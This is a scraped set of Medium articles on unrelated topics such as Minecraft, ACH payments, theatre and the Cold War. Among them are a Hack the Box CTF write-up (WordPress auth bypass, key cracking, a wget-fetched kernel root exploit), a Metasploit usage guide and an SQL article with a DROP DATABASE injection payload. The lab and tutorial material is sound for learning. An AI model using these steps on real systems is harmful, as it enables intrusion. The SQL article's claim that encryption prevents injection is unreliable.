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Minecraft as a 3D design tool | Minecraft is one of the most popular video games in the world with more than 100 million players. But it is so much more than just a video game. It has become part of pop culture and has found many use cases outside of gaming.
One of the areas where Minecraft shines the most is as a 3D design tool. It’s a game where you build structures in a virtual environment, which makes it perfect for creating many different types of 3D visualizations. It may have started with simple dirt huts, but modern Minecraft builds have evolved into incredible fidelity and scale.
Normal CAD or 3D modeling programs are very complex, hard to learn, and very overwhelming as a beginner. Minecraft, on the other hand, is very intuitive to use and even children can use it to design their own worlds.
Design in Minecraft
When you start to play the game, you have to build some kind of shelter to protect you from the monsters at night. At first, it’s probably just a dirt hut or a simple cave. After a while, when you have outgrown your primitive survival shelter, you probably want a bigger house, then a mansion, a castle, and a whole city.
Just like traditional design, building in Minecraft is an iterative process. Your first buildings will probably not look great, but the more buildings you create, the more improvements you will see. Minecraft is also the most popular game on YouTube with more than 200 billion views in 2020, which means you will likely see videos of other Minecraft players and you start to copy and steal some of their designs. As we all know, great designers steal (Pablo Picasso).
One of the best aspects of Minecraft is the incredible freedom you have as a player. It’s not like a traditional story-driven game, where you finish quests to progress. When you start a new Minecraft world, it’s a big empty canvas just waiting to be filled. You decide which architecture style you want to build in, what materials you want to use, or how big your houses are going to be.
Architecture
Minecraft is a great tool for architecture visualizations. When you want to construct a new building, it’s always great to get a feeling for how it looks before you pour the concrete. Minecraft can be used as an easy and intuitive tool to create preview images of a project before starting.
Like normal architecture visualizations, you can import the Minecraft build into 3D rendering programs like Blender, Maya, Cinema 4D, etc. (with tools like Mineways) and create high-quality photorealistic renders. However, Minecraft builds have the additional benefit of being able to walk through them in the game and experience them from a first-person perspective.
“Whilst the architects of today grew up playing with LEGO, I have no doubt the next generation will have played Minecraft” — James Delaney, blockworks.uk
Many of us have probably played LEGO when we were kids, I certainly enjoyed it a lot. However, there was always the very limiting factor of not having enough bricks to finish the projects. Minecraft doesn’t share this problem. You have basically infinite space and blocks, so the only limit is your imagination. | https://uxdesign.cc/minecraft-as-a-3d-design-tool-41782e61aac8 | ['Christian Behler'] | 2021-02-02 00:35:14.525000+00:00 | ['Design', 'Games', 'Minecraft', '3d', 'UI'] |
A Short History of ACH | Automated Clearing House (ACH) was created in the 1970s, as an electronic replacement for paper check transactions.
The checking system is one of the oldest payment systems in the US. A check is essentially a piece of paper that instructs a financial institution to pay funds from one specified account into another specified account (whether in the same or different financial institution).
Clearing Houses were established to help banks clear settle checks between each other. They facilitated the exchange of checks and calculated daily net settlement amounts per bank. The use of Clearing Houses makes checking an open loop payment system. Open loop systems, such as checking or ACH rely on intermediaries (banks, credit card networks, etc) to connect end parties (individual accounts).
In the late 1950s, magnetic ink character recognition (MICR) became widespread. This technology encodes the check number, account number, and bank routing number at the bottom of a check.
ACH became a natural extension of MICR use: it was created as a way to exchange MICR data directly, rather than extracting MICR data from paper checks.
Early ACH focused transactions that were:
High-volume
Low-risk
Repetitive
Over time, ACH expanded to all US financial institutions, becoming so ubiquitous that it is not connected to every US demand deposit account. This popularity is not particularly surprising, because ACH was designed to be a low-cost utility, giving banks a profitable alternative to processing and storing paper checks.
ACH is the only payment system in the US that is capable of handling both push and pull transactions. The difference between these two types is as follows:
Push transactions (ACH Credit) : the customer initiates the transaction by pushing the money out of their account.
: the customer initiates the transaction by pushing the money out of their account. Pull transactions (ACH Debit): the payee (typically a business) pulls the money out of a customer’s account by using their account and routing numbers.
In both cases, ACH works as follows:
A bank originates the transaction. This bank is called an ODFI (Originating Depository Financial Institution). Banks send ACH entries in batches, on some predetermined schedule. An ACH operator (The Federal Reserve or The Clearing House) sorts the entries into deposits and payments. Once the entries are sorted, the ACH operator sends the relevant entries to the RDFI (Receiving Depository Financial Institution). The RDFI receives the entries and debits or credits its customers accordingly. Money is settled between the banks at the end of the day.
Since 2001, ACH payments have been available online.
In 2015, NACHA (the organization regulating the ACH network) created Same Day ACH, which would settle transactions within the same day, rather than the previously standard 2–3 working days. However, while it is a big improvement, Same Day ACH is not real-time, it still depends on batch processing.
Currently, in 2021, ACH remains the best option for low-cost payments, especially as it has become faster than the checking system it was built to replace. However, because ACH is owned by the participating banks, financial institutions can block certain kinds of transactions, forcing consumers and merchants to use alternative, more expensive payment methods.
When ACH was developed, it was imagined as a radical improvement over antiquated technology (paper checks). Today, half a century later, both ACH and checking remain among the most used payment systems in the United States. A few years ago, a new payment system — Real Time Payments (RTP) was developed, allowing for even faster electronic money transfers. As technology moves forward, so will payment systems, as consumers and businesses both want payments to be faster, cheaper, and more convenient. We are excited to see what the next phases in payment systems are going to be. | https://medium.com/dapi/a-short-history-of-ach-ab4621c7214b | ['Ria Golovakova'] | 2021-03-19 19:29:55.256000+00:00 | ['Payments', 'Finance', 'Startup', 'Banking', 'Ach'] |
Communities: a space to be heard and seen? | Over the last two weeks I participated in several community retreats. At all of these gatherings the discussion circles with the full group took longer than they had been planned for and at the end of it people were still hungry to continue talking. People had a lot they wanted to say.
At first I felt exhausted by the people who would dominate the collective space, by speaking often and in long, winding monologues. It reminded me of the underlying, unspoken power dynamics, because the people who speak a lot tend to be men, often white men.
But then I realized that beyond the structural inequality (which is real) there is something else worthwhile paying attention to: I sense that so often in community circles, the contributions are less about deepening the conversation and more about being acknowledged. People just want to be heard and seen.
I have started paying attention to my own desire to speak up at gatherings and often it has less to do with advancing the topic at hand. Instead, I feel an urge to express myself. Below that is a worry that I might be invisible, irrelevant, forgotten about, glanced over, misunderstood and under-appreciated if I don’t speak up. How do I know I matter in this group if people don’t know I exist? How can I exist when people don’t see me?
What if this need to be seen and heard is at the very core of what a community is supposed to do?
For me there is a direct line between feeling seen, and feeling connected. If I don’t feel acknowledged (and to some extent: understood) for who I am, I will feel disconnected, alone. As therapist Michael Schreiner writes on his blog: “Most of us are desperate to be understood, to have that sense of isolation shattered by finding people in our lives who really get us on an intimate level. The unconscious fear that seems to always be lurking in the background is that if we aren’t understood it will be as if we never existed.”
Yet most of us don’t have many spaces beyond our intimate relationships where we feel heard and seen. We don’t have many physical circles we get to express ourselves. And yet we all have soooooo much to say and so much to make sense of. There is of course social media, in theory a digital space where we can constantly express ourselves. But do we actually feel seen when we post something on Facebook?
All of these observations make me wonder: maybe the human need to be seen and heard isn’t just a side effect of community, but actually one of the core functions a community can play? And how can we design spaces to provide more opportunities to feel seen? Curious to hear your perspectives!
Thank you to Jessica von Farkas to inspire me on this topic! | https://medium.com/together-institute/communities-a-space-to-be-heard-and-seen-a772919813db | ['Fabian Pfortmüller'] | 2020-02-04 17:26:01.203000+00:00 | ['Safe Space', 'Love', 'Network', 'Community', 'Community Engagement'] |
Artist Interview: Director Charles McMahon | Artist Interview: Director Charles McMahon
The cast of Lantern Theater Company’s THE PLAGUE, L to R: Amanda Schoonover, Peter DeLaurier, Anthony Lawton, J Hernandez, and Kirk Wendell Brown (Photo by Mark Garvin)
Streaming on demand October 7 through November 21, 2021, Lantern Theater Company’s U.S. premiere digital production of The Plague was directed by Charles McMahon, who is also the Lantern’s artistic director. When deciding what productions to film for the company’s fall digital season, Neil Barlett’s adaptation of the Albert Camus novel was a clear choice. “The obvious is the obvious,” McMahon says. “We were in this wretched situation, which is mirrored in the plot of the story.”
But The Plague does not just show us events with parallels to and resonance with our own time — it also asks us to interrogate our responses to the story and to our experiences. Theater is “is a training ground for the emotions, for the psyche, for the mind, both the individual mind and the social mind,” McMahon says. “I’ve always been interested in theater that puts people in extreme conditions and then says, ‘Okay, now what do you do?’”
Facing that question in the play are five characters who find themselves in a quarantined city during an outbreak of plague. While the subject matter may be bleak, McMahon is interested in the core of morality and community in Camus’ novel and the play as adapted by Bartlett. “The characters are not created as moral exemplars,” McMahon says. “I think a number of them behave ultimately in an exemplary manner, but you can see that they’re doing it because their character gives them no choice. They make what is, for them, the only rational decision they can make.” According to McMahon, they respond to their circumstances with equanimity and simplicity. “They’re not consciously trying to exemplify either individual or civic virtue,” he says. “They’re just asking the question, ‘What is the thing that I must do now?’ and then put one foot in front of the other and keep going.”
That steadfast commitment to carrying on, and to hopefully doing the right thing when options are limited, is depicted without graphic examples of the plague itself, which remains offstage. “We’re describing something that’s abstract, but the experience of the characters is not abstract to them,” McMahon says. That experience was particularly resonant in the character of Dr. Rieux, who spends the epidemic in the play caring for the sick and dying. “His response is to just keep grinding away, trying to help those he can and trying to protect those he can. But we see through his eyes the relentless toll that it takes on him to hopelessly or helplessly watch people die every day,” McMahon says. “It’s very bracing to listen to Rieux speaking about this in the play and realize that that is exactly what is going on two blocks from our theater, in a hospital where people are dying of Covid and have been for a year and a half as overwhelmed medical staff just do everything that they can. It felt like we had a great responsibility to try to be faithful to that sort of moment and depict it with truth and honesty.”
Anthony Lawton as Dr. Rieux in Lantern Theater Company’s THE PLAGUE (Photo by Mark Garvin)
This feeling of responsibility and deep recognition of the characters’ fictional plights in our own real world affected the cast as a whole. “It certainly was clear in watching how the actors responded to it and in observing my own feelings and response to it that it struck us all at various different times and in different ways at an extremely deep emotional level,” McMahon says. “At one point or another, or several points for each person in the entire cast during the course of this, it just wiped us out. It took all of our emotional resolve just to stay with the material and be true to the experience of the characters, because it was so evocative of the most challenging moments in our own lives that we were living through. It helped us all create some deeper sense of meaning.”
That deep connection to the material shines through in the performances onscreen. “The work of the actors is wonderful. This is a group that gelled really nicely,” McMahon says. “They developed a great ensemble despite the fact that we spent more than half the rehearsal time on Zoom. We were a good ways into the process before we actually had people live in a room interacting. It was really terrific, disciplined work by the actors.”
That discipline and ensemble-building helped tell a story that is less about the dramatic moments of catastrophe and more about the ways in which humans respond to it. “I don’t think this play would be as affecting if we were depicting emergency room scenes. It might be scarier, but I think what moves us is when we see people emotionally and intellectually present to an event,” McMahon says. “It’s still there, living in their active memory and they’re trying to make sense of it, processing it.”
J Hernandez in THE PLAGUE (Photo by Mark Garvin)
As such, the production was able to use the techniques of film to tell a nuanced, honest story. “There was very little theatricality in the performance style,” McMahon says. “The actors weren’t projecting, they were very closely miked. So things are in a much more conversational tone.” The filming style also enhanced this authentic tone. “The ability of the camera to change focus as the action is going on, sometimes in ways that underscore certain moments in an obvious way and other times in ways that that act as an oppositional counterpoint feels true to life,” McMahon says. “Luckily, I think we have a really talented filmmaker [Andrea Campbell, Natural Light Films] who has a deep appreciation of theater and a deep knowledge of how we experience things on a two-dimensional screen.”
This combination of film prowess, actor artistry, and emotional and historical resonance creates a piece that can do what Camus, Bartlett, and McMahon all hoped for when telling the story of The Plague. “I would say that what I think the project was most successful in doing is creating a deeper sense of empathy for the sufferings of the people going on around us,” McMahon says. “We would all benefit from understanding the necessity of doing that in the world, putting away childish things from time to time and just getting on with the simple business of trying to help each other.”
Related reading: Artist Interview: Playwright Neil Bartlett — The Plague playwright on adaptation, community, and what Camus can tell us about today
The Plague was filmed at St. Stephen’s Theater in Center City Philadelphia in July 2021 with strict adherence to all CDC, state, and local health and safety guidelines, and is streaming on demand October 7 through November 21, 2021. Visit our website for tickets and information. | https://medium.com/lantern-theater-company-searchlight/artist-interview-charles-mcmahon-director-2e5253608ed3 | ['Lantern Theater Company'] | 2021-11-21 18:23:54.051000+00:00 | ['Filmmaking', 'Interview', 'Theatre', 'The Plague', 'Film'] |
Contactless leadership in the Post-Covid 19 era | Contactless leadership in the Post-Covid 19 era
Remote work tools are currently massively present in our professional ecosystem. And they are here to stay. Interactions within organisations, as well as with external partners, are today formulated, by default, as digital exchanges, including remote meetings, on Teams, Zoom etc. which have become the archetype.
Does this trend necessarily lead to a dehumanised professional environment?
Our experience of working with Management Teams — traditionally face-to-face but more recently from a distance — really forces us to have a more nuanced look at this question: if remote work tools disrupt our traditional reference points in establishing a relationship with another person, they represent for managers a unique opportunity to reinvent their leadership and set a new ecology of their collectives.
Diving in at the deep end, this year, into the world of remote work tools, seems to have acted as a fearsome reducer of sensations. It has, in doing so, the great merit of making us aware of this “relational field”, endlessly forged by the meeting of mind, body and feelings which represents the impassable horizon of any human activity. Each one of us regularly experiences this when it manifests itself in a negative way: deep and uncomfortable silence during a meeting, boring speeches, staggered one after another without structure… In contrast, a fluid and buoyant relational field can materialize itself in shared and infectious laughter, which transcends all seriousness, or the severity of the subjects being discussed.
If an organic and fruitful creative exchange spontaneously emerges (the so called “informal” which is cruelly lacking in remote meetings), it would be safe to say that it relies on the properties of a tacit relational field (mutual respect, security, openness etc.) which facilitates its advent, and to which the actors, by means of their interventions, contribute by nourishing and reinforcing it. In contrast, if it’s difficult for views to be exchanged freely beyond formal and scheduled contributions, it’s because the relational field conveys other concerns (fear of judgement, distrust, insecurity). Of course, because of their particular position, it’s the manager who sets the tone, but, speaking from experience, we have noticed that, in reality, it is a joint creation[1].
The notion of relational field refers, by extension, to the one we know in physics used to describe phenomena like gravitational force, electromagnetic force or fluid pressure: the field is the data for each point in space, the value of a physical scale (temperature, speed, pressure, charge, masse, density, potential etc.). The notion of field therefore refers to movement and relationships: between objects in the physical field and between individuals, in the human field.
What about the “remote relational field”?
Our client feedback is quite convergent on this point. While remote meetings have turned out to be quite successful — sometimes even more so than in-person ones — they came out, however, with a recurring feeling of latent incompleteness, a shared fatigue which manifested itself with physical discomfort and a general feeling of dissatisfaction, relating to the difficulty and frustration of not being able to identify the correct non-verbal signals from their contacts. Remotely, the relational field is developed, in the same way as in-person meetings, according to group dynamics. The problem is that it is a lot less clear because we don’t have access to kinesthesia. The capacity to feel movements in the body, which is necessary to build a global perception of our contact, is nearly inoperative from a distance. Consequently, the body’s non-verbal resonance and the way it communicates, weighs each other up and occupies the shared space[2], which is essential to any mammals’ territorial dynamic as well as establishing their power relationship, disappears. In the best-case scenario, when the videos are on, we only perceive thumbnails on our screen, with a face and torso. Indeed, the facial expressions that we can read inform us, partly, about our contacts’ emotional state, but we remain impaired in this regard when we compare this to face-to-face interactions: we do not have the person in front of us, only their representation in the digital sphere.
Within this space with no territorial frame, deprived of feelings and attachment in our body, in other words, lacking “emotions”, which is, etymologically speaking “setting something in motion”, the challenge for managers is to develop leadership modes that allow to attract and emit the sensitive information needed to engage their collective, and interact with them with the desired level of impact.
Our conviction is that, in this context, one’s voice will become their best ally. Our voice is imbedded in our cells, where it originates and takes shape; it is the meeting point between speech and body language. It’s a physical process which relies on our physiological properties (feature of our vocal cords, the size of our chest cavity, the flexibility of our diaphragm), yet it is also what our breathing as well as, more generally, the quality of our inner self, allows it to become: stress, tension, fatigue, worry, or rather enthusiasm, optimism, trust. All this is carried by our voice and can be perfectly heard through computer microphones or in conference rooms.
For the manager, remotely, the voice is the best resource to generate the relational field that rightly supports his leadership efforts : How to listen to and decode someone? How to adjust my phrasing and tone to convey that, beyond the firmness of my message, my intention is to build a relationship and not to start conflict?
All of this can be learnt. But let’s be clear, it is not a mechanical procedure. Acquiring this knowledge implies, beforehand, better self-awareness, as no matter what I do, my voice will express what my words are trying to quiet: am I aware of what I’m feeling, boredom or fatigue, trust or indecision… and how is it communicated? Contactless leadership is above all a more conscious type of leadership. Whether we want it or not, we are already in a new era. Remote interactions will henceforth take the lion’s share in our professional exchanges and it is unrealistic to think that the leadership of tomorrow will consist of paving the digital desert with rare, in-person oases (seminars and team meetings, etc.), specifically dedicated to developing relationships within the community. | https://medium.com/@pierreforthomme/contactless-leadership-in-the-post-covid-19-era-e4dd96f5c9 | ['Pierre Forthomme'] | 2020-12-17 09:39:21.137000+00:00 | ['Remote Working', 'Leadership Development'] |
Cloud Earning Staking PHT Giveaway | Hello Everyone,
We are excited to announce the start of the Staking Giveaway in Cloud Earning PHT.
Download and Stake Now: https://play.google.com/store/apps/details?id=com.cloud.earning
Between December 26th and January 24th, anyone who starts a staking session will be entered to win 1,000,000 PHT!
There is no minimum or maximum amount required, as long as there is a staking session active, you are entered in the Giveaway.
We will announce the winner on January 25th.
Happy Staking!
The Phoneum Team | https://medium.com/@phoneum/cloud-earning-staking-pht-giveaway-528256ea42ef | [] | 2020-12-26 16:31:39.079000+00:00 | ['Giveaway', 'Earning', 'Staking', 'Cloud', 'Pht'] |
2020 is hard to digest. It’s the time of year for reviews and… | Every change is an opportunity, I tried to believe. As we locked down, isolated and shutdown, I dreamed about living and working abroad by the sea. Perhaps this was the universe rearranging to create a new life. Or perhaps the regrettable Brexit vote would deliver on its long drawn-out tragedy and end our freedom of moment.
Even though I didn’t live abroad, it felt like I lived in a different country to my loved ones. I missed them, without the benefit of that sea view.
Soon most travel was restricted and the new life turned out to be leggings, Zoom, Netflix, podcasts, parcels and takeaways. Activity became walks round the car park outside my flat, looking at squirrels and taking photos of flowers. None of this was bad compared to the real hardship all around. Maybe it was #mindfulness or #self-care or something. It just lacked variety. And meaning.
People used to say ‘I’d love a quiet evening in’. Many of us got a lot of them this year. A slow down could have been relaxing. As long as you didn’t watch the news. Or think about loss. | https://medium.com/@jessica-richards7/2020-is-hard-to-digest-bc2dded5db2f | ['Jessica Richards'] | 2020-12-24 12:01:42.780000+00:00 | ['Retrospectives', '2020', 'Experience', 'Wtf', 'Personal Growth'] |
Hack the Box: Brainfuck Write-up | As part of my road to the eCPPT exam. I am doing a series of write-ups on OSCP like boxes as suggested by @TJ_NULL on Twitter.
Brainfuck is a fun machine involving exploiting a WordPress vulnerability to get access to the admin panel, discovering SMTP credentials to log into a mail server and find credentials to access a secret forum. Then cracking an RSA key to gain access to the server, and finally exploiting a kernel vulnerability to gain root privileges. Let’s get started.
First things first we’ll start off with an Nmap scan to discover open ports and gather information on the running services.
nmap -sC -sV -oA nmap_scan 10.129.67.46
(Note, I am using a private instance of Hack the Box so the machine IP will likely be different than yours)
The scan results show us that port 22 is open which is SSH, port 443 which is an https web server, and ports 25, 110, and 143 which are commonly used for a mail server.
Another important piece of info we get from the scan are these two domains:
Putting these two domains into /etc/hosts we are able to navigate to them in the browser and see these two landing pages.
www.brainfuck.htb
sup3rs3cret.brainfuck.htb
For now we will focus on the former. Poking around the site a little shows a potential admin user orestis.
Running wpscan with the enumerate users flag discovered two users, administrator and admin.
Another way we can enumerate potential users is through the mail server. We can connect to it via Netcat on port 25 and use the VRFY command (if allowed by the mail server) and we will get a 252 code back if successful, otherwise a 550 error code.
This further verifies the user Orestis we found on the brainfuck.htb page. Even though admin returned with a 550, it could mean that another user (like orestis) is our admin user.
wpscan also shows a list of potential vulnerabilities, a lot of which were around the plugin WP Support Plus Responsive Ticket System:
Searching for this plugin in searchsploit shows the following vulnerabilities:
The privilege escalation vulnerability shows us that we are able to login as another user because of WordPress’s mishandling of wp_set_auth_cookie().
Now we can copy the html code and put it into a file login.html.
From the enumeration we have done, we know that there is a user Orestis and that he is an admin user. We will change the username value in our form to “admin” and the email to “[email protected]”.
Now we will serve it up with python simple http server.
python3 -m http.server 8000
Now we navigate to localhost:8000/login.html and submit the login form.
And Voila we are logged in as the Admin user Orestis!
On the admin dashboard, there is a SMTP Settings page that will show us the settings we need to login to the mail server.
Now forgive me…I am doing this write up after the fact and forgot to take a screenshot of this page.
But the credentials we gather here are a username of orestis and password kHGuERB29DNiNE.
The password is not in cleartext on the form, so you can get the value by either opening dev tools and changing the type on the password input tag from “password” to “text”, or just copy and paste the password somewhere and you will get the cleartext.
Taking these credentials we can open up a mail client like Thunderbird and set up the account. We then get inbox of Orestis!
Here we get credentials to login to the secret forum we discovered earlier.
Once we login to the forum as Orestis, we can see the following threads:
The SSH Access thread shows this nice little exchange between Orestis and the admin.
From this exchange we gather two pieces of information. Orestis is rude AF, and SSH access to the server uses key-based authentication only.
All the communication in the other thread, Key, is encrypted therefore we must decrypt it before we can read anything.
The big key here is in Orestis’ signature from the first thread.
Orestis — Hacking for fun and profit
We see the same looking signature at the end of each message on the Key thread, but it changes every time. Rumkin Cipher Tools is what we will use to decrypt the message.
The message uses a one time pad. We will focus on the signature because that’s what we know and we will take the key we get from it to decrypt everything else. We go letter by letter and put the encrypted text as the message and the clear text we know as the pad.
After going through the whole message, we discover that the key is “fuckmybrain”.
Now we take this passphrase and use the Keyed Vigenere Cipher to decode the url to download the RSA private key.
I decrypted the whole conversation between Orestis and the admin and another piece of useful information is that the key is encrypted and will require a passphrase to decrypt. Orestis states that he will brute force it. So that’s what we’ll do too.
Encrypted private key
We will use John the Ripper to brute force the key. First we run it through ssh2john to get it in a John the Ripper friendly format and we will run it against the rockyou.txt wordlist.
/usr/share/john/ssh2john.py id_rsa > john_rsa
john — wordlist=/usr/share/wordlist/rockyou.txt john_rsa
We crack it successfully and see that the password is 3poulakia!
Next, I use openssl to decrypt the key, change permissions, and login to the server as orestis.
openssl rsa -in id_rsa -out id_rsa_d
chmod 600 id_rsa_d
ssh -i id_rsa_d [email protected]
There are 3 files in Orestis’ home dir that are interesting: debug.txt, encrypt.sage, and output.txt
You can get the root flag through this avenue by decrypting RSA with p, q, and e which are all present in debug.txt. You can read more about that here. However during further enumeration, I discovered a privilege escalation vulnerability in the kernel version so that’s what I’ll cover.
Running uname -a shows this info about the OS.
Searching searchsploit for 4.4.0 we get the following list of exploits, one of them stands out in particular.
Our kernel version is 4.4.0–75, so this exploit should work for us since it is below 4.4.0–116.
You can view more detail about this exploit on exploit db.
We will copy this onto the brainfuck machine, compile it and run it and we should get root.
First we’ll copy it from the searchsploit directory to our current working directory.
cp /usr/share/exploitdb/exploits/linux/local/44298.c ./privesc.c
Now we can copy it over to the brainfuck machine and put it into the /tmp folder. Best way to do this is to start a http server on your attacking machine and fetch the file using curl or wget from the brainfuck machine.
cd /tmp && wget http://<your_ip>:8000/privesc.c
Once it’s copied over, we can compile it using gcc.
gcc privesc.c -o privesc
Once we run it, we will become root. | https://medium.com/@dylanreuter/hack-the-box-brainfuck-write-up-9f9e884080b4 | ['Dylan Reuter'] | 2020-12-27 18:44:17.726000+00:00 | ['Oscp', 'Hackthebox', 'Hacking', 'Ecppt'] |
USING EXPLOITS IN METASPLOIT: Part 5 | SHOW EXPLOITS command in MSFCONSOLE
Selecting an exploit in Metasploit adds the exploit and check commands to msfconsole.
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > help
...snip...
Exploit Commands
================ Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the target is vulnerable
reload Just reloads the module
rerun Alias for rexploit
rexploit Reloads the module and launches an exploit attempt
run Alias for exploit msf exploit(ms09_050_smb2_negotiate_func_index) >
SHOW
Using an exploit also adds more options to the show command.
MSF Exploit Targets
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets Exploit targets: Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
MSF Exploit Payloads
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads Compatible Payloads
=================== Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser normal Windows Execute net user /ADD
...snip...
MSF Exploit Options
msf exploit(ms09_050_smb2_negotiate_func_index) > show options Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index): Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port (TCP)
WAIT 180 yes The number of seconds to wait for the attack to complete.
Exploit target: Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
ADVANCED
msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced Module advanced options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index): Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
...snip...
EVASION | https://medium.com/cyberxerx/using-exploits-in-metasploit-part-5-e76929c132d0 | [] | 2020-08-24 14:10:06.740000+00:00 | ['Security', 'Hackthebox', 'Hacking', 'Hacker', 'Metasploit'] |
Safe way to store SQL query in database column | There are many instances where we have to store SQL Queries in database.
It could be anything of the below or even some other usecase:
A job to be run on a query.
Store query to be referenced later.
A custom query from an engineer to help them automate task based on query.
or something else.
The problem with storing a query inside a column is SQL Injection or SQLi. As this time we purposely want to store a query inside a query that too coming from someone who knows how to form queries.
But how?
Imagine you have table future_jobs_data and one of the column as backup_sql which will hold the query and will be used to run some jobs in future. The easiest way to furm such query is:
INSERT INTO future_jobs_data
(job_name, backup_sql, run_date, run_time)
VALUES
("Job-1", "select * from abc", "12-3-2022", "12:00");
Now imagine some user entering backup_sql as
"); DROP DATABASE db_name; --
Now put this in your query:
INSERT INTO future_jobs_data
(job_name, backup_sql, run_date, run_time)
VALUES
("Job-1", ""); DROP DATABASE db_name; -- ", "12-3-2022", "12:00");
This will result in breaking your query into 2 queries and one comment. where 2nd query is the malicious one.
How to avoid it?
Best way is to store any query after encryting it. Do not give raw query inside a column.
Assume this to be your server code which receives the input and form a query:
let query = "INSERT INTO future_jobs_data
(job_name, backup_sql, run_date, run_time)
VALUES
(
${job_name},
${backup_sql},
${run_date},
${run_time}
);" db.insert(query);
Here just encrypt the backup_sql or even other variables before inserting into the table.
let query = "INSERT INTO future_jobs_data
(job_name, backup_sql, run_date, run_time)
VALUES
(
${job_name},
${encryptWithKey(backup_sql)},
${run_date},
${run_time}
);" db.insert(query);
Also after fetching the data decrypt with the same key and perform the action with the query. | https://medium.com/@voidvic/safe-way-to-store-sql-query-in-database-column-2b599e3456a2 | ['Ankit Sharma'] | 2021-06-08 19:11:47.166000+00:00 | ['Encryption', 'Sqli', 'Sql'] |
A Battle Never Fought Directly: Cold War | The Soviet and The United States fought side by side against the Nazi regime in World War II. But as the war came to an end, conferences that were held in post-war Germany showed that neither of these so-called allies were willing to keep their promises that were given during the war. US was always hostile towards the ideology of communism and wanted to prevent a communist state from happening. The Soviet, on the other hand, realized communism’s great influence on imperialized countries and wanted to expand its borders through spreading the ideology from Cuba to Asia. Predictably, neither sides would take a step back for the sake of making peace and that’s how their disagreements and stubbornness led the world into a painfully long conflict that is Cold War. US never battled the Soviet directly but their process of becoming enemies after WW2, foreign policy and atomic diplomacy were able to antagonize them continuously.
During the WW2, The United States alongside with Great Britain had to join their forces with the Soviet Union to strike the Nazi Germany from all sides. When the war was won, both Roosevelt and Churchill saw an opportunity to keep Stalin in the game so that when the new war in Japan broke, they would have the military advantage. They promised to give Stalin the control of Manchuria and in exchange, he assured both leaders that he would allow free elections in free-from-Nazi territories that were under his influence. Stalin, however, was always suspicious that his capitalist allies would try to stop his attempts to expand his nation if it ever came to that.
The Big Three allies, later, came together in Potsdam Conference and it came to light that Stalin would, in fact, not allow free elections in new territories that he invaded and that he wanted to get more reparations from Germany for the damage they caused in the Soviets than the amount that was discussed back in Yalta Conference. By the time Potsdam was over, newly elected Truman was convinced that if they didn’t adopt a different policy towards the USSR, communism would become a real threat to American nation. Stalin, on the other hand, became sure that there was a plot against him after he went back to his country with nothing in hand to keep his alliance with the western bloc countries. Both US’ and the Soviet’s mistrust to each other and their polar adopted ideologies slowly turned these two allies into enemies that would last 45 years long.
Potsdam Conference
This indirect war’s beginning was marked with the Containment foreign policy that initiated the using of many political strategies to stop the Soviet Nation from spreading. President Truman decided to start with Greece and Turkey because they were right under the Soviet geographically and since those both countries had a never-ending tension going on between them, they would be easy to influence by the first person to help them on their cause. Greece already had a communist minority that was causing conflict in the public and Truman was afraid that their increasing numbers would effect Turkey’s domestic & foreign affairs as well. Truman knew the importance of keeping Turkey on their side because an instability in the Turkish politics could also threaten the Middle East political stability as a whole. Taking everything into consideration, he requested the Congress to send both countries a military and economic aid worth of $400 million. In his speech, he said: “It must be the policy of the United States to support free peoples who are resisting attempted subjugation by armed minorities or by outside pressures”.
Right after Truman Doctrine, he announced the Marshall Plan that would be another aid program to keep countries by US’ side. This time aiming at Europe, he presented the four-year plan of helping the European neighbors to rebuild their cities after the destruction of WW2. Stalin, unsurprisingly, refused to join the plan and did not allow Eastern European countries that were dependent on his regime to get any aid provided by the United States. After Stalin’s refusal made it obvious that the line was drawn between Eastern and Western countries, Truman made his last move as a president to counter the Soviet regime by signing the North Atlantic Treaty and becoming one of the founders of NATO in 1949. Both US and Western European countries needed a military alliance that would assure them security against communist upheavals.
NATO Founders (April 4th, 1949)
Following Eisenhower’s takeover of presidency, he created another alliance of nations that would focus on Southeastern Asian countries (SEATO). Even though this alliance turned out to be a failure due to the lack of the use of its military, Eisenhower used it as an excuse to interfere with Vietnam’s policies. As a strong believer of the Domino Theory, he feared that China and North Vietnam’s communist government would cause a communism wave in neighboring countries and that’s the main reason why US got involved in the Vietnam War.
In 1957, he announced the Eisenhower Doctrine that would promise the Middle Eastern countries military backup for communist aggression if they requested such aid. However, especially Egypt and Syria, who were strongly anti-Western, refused any American entrance in the Middle East theater. Consequently, Eisenhower’s tactic only existed as a military support to Turkey and Greece that were already pledged to US.
The atomic bomb tension, however, first began in the Potsdam Conference when Truman decided to mention its existence to Stalin. By slyly threatening him and dropping the bombs on Hiroshima and Nagasaki later, he hoped that the Soviets would reconsider their plans to invade post-war Japan. The knowledge of something new and a highly destructive bomb also helped US to gain long-lasting allies in the Western bloc because the nuclear bomb assured them protection. Only a few years later though, US lost its power on the world when the Soviets tested their first atomic bomb in 1949.
From then on, both nations often used atomic diplomacy and it almost every time turned into a political brinkmanship. When the USSR blocked the Western countries from entering West Berlin from any kind of way, Truman told them that he would not hesitate to use the nuclear bombs if they insisted on their decision. But when the Soviets didn’t back down, the Western Allies came together to start the airlift to Berlin that would supply the city for over a year.
Cuban Missile Crisis
